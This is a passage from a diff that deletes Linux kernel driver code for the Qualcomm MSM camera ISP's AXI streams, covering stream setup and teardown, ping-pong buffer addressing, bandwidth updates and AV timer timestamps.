stream_cfg_cmd->burst_count; - stream_info->burst_frame_count = - stream_cfg_cmd->init_frame_drop + - (stream_cfg_cmd->burst_count - 1) * - framedrop_period + 1; - } else { - stream_info->stream_type = CONTINUOUS_STREAM; - stream_info->burst_frame_count = 0; - stream_info->num_burst_capture = 0; - } -} - -void msm_isp_calculate_bandwidth( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info) -{ - if (stream_info->stream_src < RDI_INTF_0) { - stream_info->bandwidth = - (axi_data->src_info[VFE_PIX_0].pixel_clock / - axi_data->src_info[VFE_PIX_0].width) * - stream_info->max_width; - stream_info->bandwidth = stream_info->bandwidth * - stream_info->format_factor / ISP_Q2; - } else { - int rdi = SRC_TO_INTF(stream_info->stream_src); - stream_info->bandwidth = axi_data->src_info[rdi].pixel_clock; - } -} - -#ifdef CONFIG_MSM_AVTIMER -void msm_isp_start_avtimer(void) -{ - avcs_core_open(); - avcs_core_disable_power_collapse(1); -} -#else -void msm_isp_start_avtimer(void) -{ - pr_err("AV Timer is not supported\n"); -} -#endif - -int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0, i; - uint32_t io_format = 0; - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd = arg; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - - rc = msm_isp_axi_create_stream( - &vfe_dev->axi_data, stream_cfg_cmd); - if (rc) { - pr_err("%s: create stream failed\n", __func__); - return rc; - } - - rc = msm_isp_validate_axi_request( - &vfe_dev->axi_data, stream_cfg_cmd); - if (rc) { - pr_err("%s: Request validation failed\n", __func__); - msm_isp_axi_destroy_stream(&vfe_dev->axi_data, - HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)); - return rc; - } - stream_info = &vfe_dev->axi_data. - stream_info[HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; - msm_isp_axi_reserve_wm(&vfe_dev->axi_data, stream_info); - - if (stream_info->stream_src < RDI_INTF_0) { - io_format = vfe_dev->axi_data.src_info[VFE_PIX_0].input_format; - if (stream_info->stream_src == CAMIF_RAW || - stream_info->stream_src == IDEAL_RAW) { - if (stream_info->stream_src == CAMIF_RAW && - io_format != stream_info->output_format) - pr_warn("%s: Overriding input format\n", - __func__); - - io_format = stream_info->output_format; - } - rc = vfe_dev->hw_info->vfe_ops.axi_ops.cfg_io_format( - vfe_dev, stream_info->stream_src, io_format); - if (rc) { - pr_err("%s: cfg io format failed\n", __func__); - msm_isp_axi_free_wm(&vfe_dev->axi_data, - stream_info); - msm_isp_axi_destroy_stream(&vfe_dev->axi_data, - HANDLE_TO_IDX( - stream_cfg_cmd->axi_stream_handle)); - return rc; - } - } - - msm_isp_calculate_framedrop(&vfe_dev->axi_data, stream_cfg_cmd); - stream_info->vt_enable = stream_cfg_cmd->vt_enable; - axi_data->burst_len = stream_cfg_cmd->burst_len; - - if (stream_info->vt_enable) { - vfe_dev->vt_enable = stream_info->vt_enable; - msm_isp_start_avtimer(); - } - if (stream_info->num_planes > 1) { - msm_isp_axi_reserve_comp_mask( - &vfe_dev->axi_data, stream_info); - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_comp_mask(vfe_dev, stream_info); - } else { - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_wm_irq_mask(vfe_dev, stream_info); - } - - for (i = 0; i < stream_info->num_planes; i++) { - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_wm_reg(vfe_dev, stream_info, i); - - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_wm_xbar_reg(vfe_dev, stream_info, i); - } - return rc; -} - -int msm_isp_release_axi_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0, i; - struct msm_vfe_axi_stream_release_cmd *stream_release_cmd = arg; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream *stream_info = - &axi_data->stream_info[ - HANDLE_TO_IDX(stream_release_cmd->stream_handle)]; - struct msm_vfe_axi_stream_cfg_cmd stream_cfg; - - if (stream_info->state == AVALIABLE) { - pr_err("%s: Stream already released\n", __func__); - return -EINVAL; - } else if (stream_info->state != INACTIVE) { - stream_cfg.cmd = STOP_STREAM; - stream_cfg.num_streams = 1; - stream_cfg.stream_handle[0] = stream_release_cmd->stream_handle; - msm_isp_cfg_axi_stream(vfe_dev, (void *) &stream_cfg); - } - - for (i = 0; i < stream_info->num_planes; i++) { - vfe_dev->hw_info->vfe_ops.axi_ops. - clear_wm_reg(vfe_dev, stream_info, i); - - vfe_dev->hw_info->vfe_ops.axi_ops. - clear_wm_xbar_reg(vfe_dev, stream_info, i); - } - - if (stream_info->num_planes > 1) { - vfe_dev->hw_info->vfe_ops.axi_ops. - clear_comp_mask(vfe_dev, stream_info); - msm_isp_axi_free_comp_mask(&vfe_dev->axi_data, stream_info); - } else { - vfe_dev->hw_info->vfe_ops.axi_ops. - clear_wm_irq_mask(vfe_dev, stream_info); - } - - vfe_dev->hw_info->vfe_ops.axi_ops.clear_framedrop(vfe_dev, stream_info); - msm_isp_axi_free_wm(axi_data, stream_info); - - msm_isp_axi_destroy_stream(&vfe_dev->axi_data, - HANDLE_TO_IDX(stream_release_cmd->stream_handle)); - - return rc; -} - -static void msm_isp_axi_stream_enable_cfg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int i; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - if (stream_info->state == INACTIVE) - return; - for (i = 0; i < stream_info->num_planes; i++) { - if (stream_info->state == START_PENDING || - stream_info->state == RESUME_PENDING) - vfe_dev->hw_info->vfe_ops.axi_ops. - enable_wm(vfe_dev, stream_info->wm[i], 1); - else { - vfe_dev->hw_info->vfe_ops.axi_ops. - enable_wm(vfe_dev, stream_info->wm[i], 0); - /* Issue a reg update for Raw Snapshot Case - * since we dont have reg update ack - */ - if (stream_info->stream_src == CAMIF_RAW || - stream_info->stream_src == IDEAL_RAW) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev); - } - } - } - - if (stream_info->state == START_PENDING) - axi_data->num_active_stream++; - else if (stream_info->state == STOP_PENDING) - axi_data->num_active_stream--; -} - -void msm_isp_axi_stream_update(struct vfe_device *vfe_dev) -{ - int i; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - for (i = 0; i < MAX_NUM_STREAM; i++) { - if (axi_data->stream_info[i].state == START_PENDING || - axi_data->stream_info[i].state == - STOP_PENDING) { - msm_isp_axi_stream_enable_cfg( - vfe_dev, &axi_data->stream_info[i]); - axi_data->stream_info[i].state = - axi_data->stream_info[i].state == - START_PENDING ? STARTING : STOPPING; - } else if (axi_data->stream_info[i].state == STARTING || - axi_data->stream_info[i].state == STOPPING) { - axi_data->stream_info[i].state = - axi_data->stream_info[i].state == STARTING ? - ACTIVE : INACTIVE; - } - } - - if (vfe_dev->axi_data.pipeline_update == DISABLE_CAMIF || - (vfe_dev->axi_data.pipeline_update == - DISABLE_CAMIF_IMMEDIATELY)) { - vfe_dev->hw_info->vfe_ops.stats_ops. - enable_module(vfe_dev, 0xFF, 0); - vfe_dev->axi_data.pipeline_update = NO_UPDATE; - } - - vfe_dev->axi_data.stream_update--; - if (vfe_dev->axi_data.stream_update == 0) - complete(&vfe_dev->stream_config_complete); -} - -static void msm_isp_reload_ping_pong_offset(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int i, j; - uint32_t flag; - struct msm_isp_buffer *buf; - for (i = 0; i < 2; i++) { - buf = stream_info->buf[i]; - flag = i ? VFE_PONG_FLAG : VFE_PING_FLAG; - for (j = 0; j < stream_info->num_planes; j++) { - vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( - vfe_dev, stream_info->wm[j], flag, - buf->mapped_info[j].paddr + - stream_info->plane_cfg[j].plane_addr_offset); - } - } -} - -void msm_isp_axi_cfg_update(struct vfe_device *vfe_dev) -{ - int i, j; - uint32_t update_state; - unsigned long flags; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream *stream_info; - for (i = 0; i < MAX_NUM_STREAM; i++) { - stream_info = &axi_data->stream_info[i]; - if (stream_info->stream_type == BURST_STREAM || - stream_info->state == AVALIABLE) - continue; - spin_lock_irqsave(&stream_info->lock, flags); - if (stream_info->state == PAUSING) { - /*AXI Stopped, apply update*/ - stream_info->state = PAUSED; - msm_isp_reload_ping_pong_offset(vfe_dev, stream_info); - for (j = 0; j < stream_info->num_planes; j++) - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_wm_reg(vfe_dev, stream_info, j); - /*Resume AXI*/ - stream_info->state = RESUME_PENDING; - msm_isp_axi_stream_enable_cfg( - vfe_dev, &axi_data->stream_info[i]); - stream_info->state = RESUMING; - } else if (stream_info->state == RESUMING) { - stream_info->runtime_output_format = - stream_info->output_format; - stream_info->state = ACTIVE; - } - spin_unlock_irqrestore(&stream_info->lock, flags); - } - - update_state = atomic_dec_return(&axi_data->axi_cfg_update); -} - -static void msm_isp_cfg_pong_address(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int i; - struct msm_isp_buffer *buf = stream_info->buf[0]; - for (i = 0; i < stream_info->num_planes; i++) - vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( - vfe_dev, stream_info->wm[i], - VFE_PONG_FLAG, buf->mapped_info[i].paddr + - stream_info->plane_cfg[i].plane_addr_offset); - stream_info->buf[1] = buf; -} - -static void msm_isp_get_done_buf(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint32_t pingpong_status, - struct msm_isp_buffer **done_buf) -{ - uint32_t pingpong_bit = 0, i; - pingpong_bit = (~(pingpong_status >> stream_info->wm[0]) & 0x1); - for (i = 0; i < stream_info->num_planes; i++) { - if (pingpong_bit != - (~(pingpong_status >> stream_info->wm[i]) & 0x1)) { - pr_warn("%s: Write master ping pong mismatch. Status: 0x%x\n", - __func__, pingpong_status); - } - } - *done_buf = stream_info->buf[pingpong_bit]; -} - -static int msm_isp_cfg_ping_pong_address(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint32_t pingpong_status) -{ - int i, rc = -1; - struct msm_isp_buffer *buf = NULL; - uint32_t pingpong_bit = 0; - uint32_t bufq_handle = 0; - uint32_t stream_idx = HANDLE_TO_IDX(stream_info->stream_handle); - if (stream_idx >= MAX_NUM_STREAM) { - pr_err("%s: Invalid stream_idx",__func__); - return rc; - } - if (stream_info->bufq_scratch_handle && !stream_info->request_frm_num) - bufq_handle = stream_info->bufq_scratch_handle; - else - bufq_handle = stream_info->bufq_handle; - - rc = vfe_dev->buf_mgr->ops->get_buf(vfe_dev->buf_mgr, - vfe_dev->pdev->id, bufq_handle, &buf); - - if (rc < 0) { - vfe_dev->error_info.stream_framedrop_count[stream_idx]++; - return rc; - } - - if (stream_info->bufq_scratch_handle && - bufq_handle == stream_info->bufq_handle) - stream_info->request_frm_num--; - - if (buf->num_planes != stream_info->num_planes) { - pr_err("%s: Invalid buffer\n", __func__); - rc = -EINVAL; - goto buf_error; - } - - for (i = 0; i < stream_info->num_planes; i++) - vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( - vfe_dev, stream_info->wm[i], - pingpong_status, buf->mapped_info[i].paddr + - stream_info->plane_cfg[i].plane_addr_offset); - pingpong_bit = (~(pingpong_status >> stream_info->wm[0]) & 0x1); - stream_info->buf[pingpong_bit] = buf; - return 0; -buf_error: - vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx); - return rc; -} - -static inline void msm_isp_get_avtimer_ts( - struct msm_isp_timestamp *time_stamp) -{ - int rc = 0; - uint32_t avtimer_usec = 0; - uint64_t avtimer_tick = 0; -#ifdef CONFIG_MSM_AVTIMER - rc = avcs_core_query_timer(&avtimer_tick); -#else - pr_err("%s:AVTimer driver not available\n", __func__); - rc = -1; -#endif - if (rc < 0) { - pr_err("%s: Error: Invalid AVTimer Tick, rc=%d\n", - __func__, rc); - /*In case of error return zero AVTimer Tick Value*/ - time_stamp->vt_time.tv_sec = 0; - time_stamp->vt_time.tv_usec = 0; - return; - } else { - avtimer_usec = do_div(avtimer_tick, USEC_PER_SEC); - time_stamp->vt_time.tv_sec = (uint32_t)(avtimer_tick); - time_stamp->vt_time.tv_usec = avtimer_usec; - pr_debug("%s: AVTimer TS = %u:%u\n", __func__, - (uint32_t)(avtimer_tick), avtimer_usec); - } -} - -static void msm_isp_process_done_buf(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, struct msm_isp_buffer *buf, - struct msm_isp_timestamp *ts) -{ - int rc; - struct msm_isp_event_data buf_event; - struct timeval *time_stamp; - uint32_t stream_idx = HANDLE_TO_IDX(stream_info->stream_handle); - uint32_t session_id = vfe_dev->axi_data. - src_info[SRC_TO_INTF(stream_info->stream_src)].session_id; - uint32_t frame_id = vfe_dev->axi_data.frame_id[session_id]; - uint32_t buf_src; - memset(&buf_event, 0, sizeof(buf_event)); - - if (buf && ts) { - if (vfe_dev->vt_enable) { - msm_isp_get_avtimer_ts(ts); - time_stamp = &ts->vt_time; - } - else - time_stamp = &ts->buf_time; - - rc = vfe_dev->buf_mgr->ops->get_buf_src(vfe_dev->buf_mgr, - buf->bufq_handle, &buf_src); - if (stream_info->buf_divert && rc == 0 && - buf_src != MSM_ISP_BUFFER_SRC_SCRATCH) { - rc = vfe_dev->buf_mgr->ops->buf_divert(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx, - time_stamp, frame_id); - /* Buf divert return value represent whether the buf - * can be diverted. A positive return value means - * other ISP hardware is still processing the frame. - */ - if (rc == 0) { - buf_event.input_intf = - SRC_TO_INTF(stream_info->stream_src); - buf_event.frame_id = frame_id; - buf_event.timestamp = *time_stamp; - buf_event.u.buf_done.session_id = - stream_info->session_id; - buf_event.u.buf_done.stream_id = - stream_info->stream_id; - buf_event.u.buf_done.handle = - stream_info->bufq_handle; - buf_event.u.buf_done.buf_idx = buf->buf_idx; - buf_event.u.buf_done.output_format = - stream_info->runtime_output_format; - msm_isp_send_event(vfe_dev, - ISP_EVENT_BUF_DIVERT + stream_idx, - &buf_event); - } - } else { - buf_event.input_intf = - SRC_TO_INTF(stream_info->stream_src); - buf_event.frame_id = frame_id; - buf_event.timestamp = ts->buf_time; - buf_event.u.buf_done.session_id = - stream_info->session_id; - buf_event.u.buf_done.stream_id = - stream_info->stream_id; - buf_event.u.buf_done.output_format = - stream_info->runtime_output_format; - msm_isp_send_event(vfe_dev, - ISP_EVENT_BUF_DONE, &buf_event); - vfe_dev->buf_mgr->ops->buf_done(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx, - time_stamp, frame_id, - stream_info->runtime_output_format); - } - } -} - -static enum msm_isp_camif_update_state - msm_isp_get_camif_update_state(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) -{ - int i; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint8_t pix_stream_cnt = 0, cur_pix_stream_cnt; - cur_pix_stream_cnt = - axi_data->src_info[VFE_PIX_0].pix_stream_count + - axi_data->src_info[VFE_PIX_0].raw_stream_count; - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - stream_info = - &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - if (stream_info->stream_src < RDI_INTF_0) - pix_stream_cnt++; - } - - if (pix_stream_cnt) { - if (cur_pix_stream_cnt == 0 && pix_stream_cnt && - stream_cfg_cmd->cmd == START_STREAM) - return ENABLE_CAMIF; - else if (cur_pix_stream_cnt && - (cur_pix_stream_cnt - pix_stream_cnt) == 0 && - stream_cfg_cmd->cmd == STOP_STREAM) - return DISABLE_CAMIF; - else if (cur_pix_stream_cnt && - (cur_pix_stream_cnt - pix_stream_cnt) == 0 && - stream_cfg_cmd->cmd == STOP_IMMEDIATELY) - return DISABLE_CAMIF_IMMEDIATELY; - } - return NO_UPDATE; -} - -static void msm_isp_update_camif_output_count( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) -{ - int i; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) - return; - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) - > MAX_NUM_STREAM) { - return; - } - stream_info = - &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - if (stream_info->stream_src >= RDI_INTF_0) - continue; - if (stream_info->stream_src == PIX_ENCODER || - stream_info->stream_src == PIX_VIEWFINDER || - stream_info->stream_src == IDEAL_RAW) { - if (stream_cfg_cmd->cmd == START_STREAM) - vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count++; - else - vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count--; - } else if (stream_info->stream_src == CAMIF_RAW) { - if (stream_cfg_cmd->cmd == START_STREAM) - vfe_dev->axi_data.src_info[VFE_PIX_0]. - raw_stream_count++; - else - vfe_dev->axi_data.src_info[VFE_PIX_0]. - raw_stream_count--; - } - } -} - -static void msm_isp_update_rdi_output_count( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) -{ - int i; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) - return; - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) - > MAX_NUM_STREAM) { - return; - } - stream_info = - &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - if (stream_info->stream_src < RDI_INTF_0) - continue; - if (stream_info->stream_src == RDI_INTF_0) { - if (stream_cfg_cmd->cmd == START_STREAM) - vfe_dev->axi_data.src_info[VFE_RAW_0]. - raw_stream_count++; - else - vfe_dev->axi_data.src_info[VFE_RAW_0]. - raw_stream_count--; - } else if (stream_info->stream_src == RDI_INTF_1) { - if (stream_cfg_cmd->cmd == START_STREAM) - vfe_dev->axi_data.src_info[VFE_RAW_1]. - raw_stream_count++; - else - vfe_dev->axi_data.src_info[VFE_RAW_1]. - raw_stream_count--; - } else if (stream_info->stream_src == RDI_INTF_2) { - if (stream_cfg_cmd->cmd == START_STREAM) - vfe_dev->axi_data.src_info[VFE_RAW_2]. - raw_stream_count++; - else - vfe_dev->axi_data.src_info[VFE_RAW_2]. - raw_stream_count--; - } - - } -} - -uint8_t msm_isp_get_curr_stream_cnt( - struct vfe_device *vfe_dev) -{ - uint8_t curr_stream_cnt = 0; - curr_stream_cnt = vfe_dev->axi_data.src_info[VFE_RAW_0]. - raw_stream_count + vfe_dev->axi_data.src_info[VFE_RAW_1]. - raw_stream_count + vfe_dev->axi_data.src_info[VFE_RAW_2]. - raw_stream_count + vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count + vfe_dev->axi_data.src_info[VFE_PIX_0]. - raw_stream_count; - - return curr_stream_cnt; -} - -void msm_camera_io_dump_2(void __iomem *addr, int size) -{ - char line_str[128], *p_str; - int i; - u32 *p = (u32 *) addr; - u32 data; - ISP_DBG("%s: %p %d\n", __func__, addr, size); - line_str[0] = '\0'; - p_str = line_str; - for (i = 0; i < size/4; i++) { - if (i % 4 == 0) { - snprintf(p_str, 12, "%08x: ", (u32) p); - p_str += 10; - } - data = readl_relaxed(p++); - snprintf(p_str, 12, "%08x ", data); - p_str += 9; - if ((i + 1) % 4 == 0) { - ISP_DBG("%s\n", line_str); - line_str[0] = '\0'; - p_str = line_str; - } - } - if (line_str[0] != '\0') - ISP_DBG("%s\n", line_str); -} - -/*Factor in Q2 format*/ -#define ISP_DEFAULT_FORMAT_FACTOR 6 -#define ISP_BUS_UTILIZATION_FACTOR 6 -static int msm_isp_update_stream_bandwidth(struct vfe_device *vfe_dev) -{ - int i, rc = 0; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t total_pix_bandwidth = 0, total_rdi_bandwidth = 0; - uint32_t num_pix_streams = 0; - uint32_t num_rdi_streams = 0; - uint32_t total_streams = 0; - uint64_t total_bandwidth = 0; - - for (i = 0; i < MAX_NUM_STREAM; i++) { - stream_info = &axi_data->stream_info[i]; - if (stream_info->state == ACTIVE || - stream_info->state == START_PENDING) { - if (stream_info->stream_src < RDI_INTF_0) { - total_pix_bandwidth += stream_info->bandwidth; - num_pix_streams++; - } else { - total_rdi_bandwidth += stream_info->bandwidth; - num_rdi_streams++; - } - } - } - if (num_pix_streams > 0) - total_pix_bandwidth = total_pix_bandwidth / - num_pix_streams * (num_pix_streams - 1) + - ((unsigned long)axi_data->src_info[VFE_PIX_0]. - pixel_clock) * ISP_DEFAULT_FORMAT_FACTOR / ISP_Q2; - total_bandwidth = total_pix_bandwidth + total_rdi_bandwidth; - total_streams = num_pix_streams + num_rdi_streams; - if (total_streams == 1) { - rc = msm_isp_update_bandwidth(ISP_VFE0 + vfe_dev->pdev->id, - (total_bandwidth - MSM_ISP_MIN_AB) , (total_bandwidth * - ISP_BUS_UTILIZATION_FACTOR / ISP_Q2 - MSM_ISP_MIN_IB)); - } - else { - rc = msm_isp_update_bandwidth(ISP_VFE0 + vfe_dev->pdev->id, - total_bandwidth, total_bandwidth * - ISP_BUS_UTILIZATION_FACTOR / ISP_Q2); - } - if (rc < 0) - pr_err("%s: update failed\n", __func__); - - return rc; -} - -static int msm_isp_axi_wait_for_cfg_done(struct vfe_device *vfe_dev, - enum msm_isp_camif_update_state camif_update) -{ - int rc; - unsigned long flags; - spin_lock_irqsave(&vfe_dev->shared_data_lock, flags); - init_completion(&vfe_dev->stream_config_complete); - vfe_dev->axi_data.pipeline_update = camif_update; - vfe_dev->axi_data.stream_update = 2; - spin_unlock_irqrestore(&vfe_dev->shared_data_lock, flags); - rc = wait_for_completion_timeout( - &vfe_dev->stream_config_complete, - msecs_to_jiffies(VFE_MAX_CFG_TIMEOUT)); - if (rc == 0) { - pr_err("%s: wait timeout\n", __func__); - rc = -1; - } else { - rc = 0; - } - return rc; -} - -static int msm_isp_init_stream_ping_pong_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int rc = 0; - /*Set address for both PING & PONG register */ - rc = msm_isp_cfg_ping_pong_address(vfe_dev, - stream_info, VFE_PING_FLAG); - if (rc < 0) { - pr_err("%s: No free buffer for ping\n", - __func__); - return rc; - } - - /* For burst stream of one capture, only one buffer - * is allocated. Duplicate ping buffer address to pong - * buffer to ensure hardware write to a valid address - */ - if (stream_info->stream_type == BURST_STREAM && - stream_info->runtime_num_burst_capture <= 1) { - msm_isp_cfg_pong_address(vfe_dev, stream_info); - } else { - rc = msm_isp_cfg_ping_pong_address(vfe_dev, - stream_info, VFE_PONG_FLAG); - if (rc < 0) { - pr_err("%s: No free buffer for pong\n", - __func__); - return rc; - } - } - return rc; -} - -static void msm_isp_deinit_stream_ping_pong_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - int i; - for (i = 0; i < 2; i++) { - struct msm_isp_buffer *buf; - buf = stream_info->buf[i]; - if (buf) - vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx); - } -} - -static void msm_isp_get_stream_wm_mask( - struct msm_vfe_axi_stream *stream_info, - uint32_t *wm_reload_mask) -{ - int i; - for (i = 0; i < stream_info->num_planes; i++) - *wm_reload_mask |= (1 << stream_info->wm[i]); -} - -static int msm_isp_start_axi_stream(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd, - enum msm_isp_camif_update_state camif_update) -{ - int i, rc = 0; - uint8_t src_state, wait_for_complete = 0; - uint32_t wm_reload_mask = 0x0; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) - return -EINVAL; - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) - > MAX_NUM_STREAM) { - return -EINVAL; - } - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - stream_info->frame_id = 0; - src_state = axi_data->src_info[ - SRC_TO_INTF(stream_info->stream_src)].active; - - msm_isp_calculate_bandwidth(axi_data, stream_info); - msm_isp_reset_framedrop(vfe_dev, stream_info); - msm_isp_get_stream_wm_mask(stream_info, &wm_reload_mask); - rc = msm_isp_init_stream_ping_pong_reg(vfe_dev, stream_info); - if (rc < 0) { - pr_err("%s: No buffer for stream%d\n", __func__, - HANDLE_TO_IDX( - stream_cfg_cmd->stream_handle[i])); - return rc; - } - - stream_info->state = START_PENDING; - if (src_state) { - wait_for_complete = 1; - } else { - if (vfe_dev->dump_reg) - msm_camera_io_dump_2(vfe_dev->vfe_base, 0x900); - - /*Configure AXI start bits to start immediately*/ - msm_isp_axi_stream_enable_cfg(vfe_dev, stream_info); - stream_info->state = ACTIVE; - } - vfe_dev->axi_data.src_info[ - SRC_TO_INTF(stream_info->stream_src)].session_id = - stream_info->session_id; - vfe_dev->axi_data. - session_frame_src_mask[stream_info->session_id] |= - (1 << SRC_TO_INTF(stream_info->stream_src)); - vfe_dev->axi_data.src_info[ - SRC_TO_INTF(stream_info->stream_src)].frame_id = 0; - } - msm_isp_update_stream_bandwidth(vfe_dev); - vfe_dev->hw_info->vfe_ops.axi_ops.reload_wm(vfe_dev, wm_reload_mask); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); - - vfe_dev->hw_info->vfe_ops.core_ops.init_vbif_counters(vfe_dev); - - msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); - msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); - if (camif_update == ENABLE_CAMIF) { - vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id = 0; - vfe_dev->hw_info->vfe_ops.core_ops. - update_camif_state(vfe_dev, camif_update); - } - if (vfe_dev->axi_data.src_info[VFE_RAW_0].raw_stream_count > 0) - vfe_dev->axi_data.src_info[VFE_RAW_0].frame_id = 0; - else if (vfe_dev->axi_data.src_info[VFE_RAW_1].raw_stream_count > 0) - vfe_dev->axi_data.src_info[VFE_RAW_1].frame_id = 0; - else if (vfe_dev->axi_data.src_info[VFE_RAW_2].raw_stream_count > 0) - vfe_dev->axi_data.src_info[VFE_RAW_2].frame_id = 0; - - if (wait_for_complete) - rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); - - return rc; -} - -static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd, - enum msm_isp_camif_update_state camif_update) -{ - int i, rc = 0; - uint8_t wait_for_complete = 0, cur_stream_cnt = 0; - struct msm_vfe_axi_stream *stream_info = NULL; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint16_t session_mask = 0; - uint32_t session_id = 0; - uint8_t skip_session_mask_update = 0; - unsigned long flags; - - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM || - stream_cfg_cmd->num_streams == 0) - return -EINVAL; - - msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); - msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); - cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) - > MAX_NUM_STREAM) { - return -EINVAL; - } - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - - stream_info->state = STOP_PENDING; - session_id = stream_info->session_id; - if (!session_mask) - session_mask = vfe_dev->axi_data. - session_frame_src_mask[session_id]; - if (cur_stream_cnt > 0) - wait_for_complete = 1; - if (SRC_TO_INTF(stream_info->stream_src) == VFE_PIX_0) { - if ((vfe_dev->axi_data. - src_info[SRC_TO_INTF(stream_info->stream_src)]. - pix_stream_count + vfe_dev->axi_data. - src_info[SRC_TO_INTF(stream_info->stream_src)]. - raw_stream_count) >= 1) - skip_session_mask_update = 1; - else - session_mask &= - ~(1 << SRC_TO_INTF( - stream_info->stream_src)); - } else { - session_mask &= - ~(1 << SRC_TO_INTF(stream_info->stream_src)); - } - } - - if (wait_for_complete) { - rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); - if (rc < 0) { - pr_err("%s: wait for config done failed\n", __func__); - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX( - stream_cfg_cmd->stream_handle[i])]; - stream_info->state = STOP_PENDING; - msm_isp_axi_stream_enable_cfg( - vfe_dev, stream_info); - stream_info->state = INACTIVE; - } - } - } else { - pr_err("%s: Stop Immediately! stream_id=%d\n", __func__, - stream_info->stream_id); - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX( - stream_cfg_cmd->stream_handle[i])]; - stream_info->state = STOP_PENDING; - 